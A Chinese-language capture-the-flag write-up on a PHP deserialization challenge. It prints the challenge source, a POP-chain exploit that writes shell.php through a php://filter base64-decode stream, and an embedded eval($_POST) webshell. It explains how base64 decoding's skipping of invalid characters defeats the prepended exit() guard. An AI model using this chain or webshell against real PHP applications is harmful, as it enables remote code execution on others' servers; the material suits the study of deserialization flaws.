<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
审计下来能利用的魔法函数不多,看到file_put_contents
知道应该是要写shell了。
先来看看payload
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct(){
$this->key = 'shell.php';
$this->store = new B();
$this->cache = array();
$this->autosave = false;
$this->complete = base64_encode('xxx'.'PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+');
$this->expire = 0;
}
}
class B{
public $options;
public function __construct(){
$this->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$this->options['data_compress'] = false;
$this->options['serialize'] = 'base64_decode';
}
}
$a = new A();
echo urlencode(serialize($a));
先来看A类
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
看到save方法里用了$this->store->set(),而set方法是在B类里面定义的,显然构造pop时$this->store=new B();
再来看看 B类
$data是$valuse经过了serialize方法的处理,最后被写入文件中,$value是A类中的cache传入的,cache又经过了A类中的cleanContents方法处理后又经过json编码,我们来看看cleanContents这个方法。
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
实际上是经过取交集处理。array_intersect_key方法取两个数组的交集。
重点:base64解码有一个特性,就是会自动忽略不合法的字符
我们来本地测试。
<?php
$contents = array();
$complete = base64_encode('fmyyy');
echo json_encode([$contents,$complete]).'<br>';
echo base64_decode(json_encode([$contents,$complete]));
假设我们传入空数组,那么经过cleanContents处理后还是空数组,可以忽略,来看看上面代码的结果。
我们将符合base64编码的字符和空数组进行json编码后再进行base64解码,因为[ , 不符合base64解码的规则,所以被自动忽略,只剩下我们符合base64规则的字符串。
看到B类中,serialize是我们可控的,所以,我们只要将serialize赋值为base64_decode,再利用特性,即可将$data赋值为我们想要的值。
这道题还有一个地方要利用这个特性:
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
看到这里,如果正常传入,我们的shell前面会有个exit()函数,会直接退出,无法执行shell。
再来看看我们的payload:
将以base64解码的方式写入文件,所以前面不符合的内容会被忽略,剩下符合规则的9个字符。但因为base64解码4个为一组,所以补上三个xxx让他解码成功。
至于其他属性都是细节内容就不再细说了,重点就是利用base64解码会忽略不合法字符的性质
。
最后配合shell拿到flag。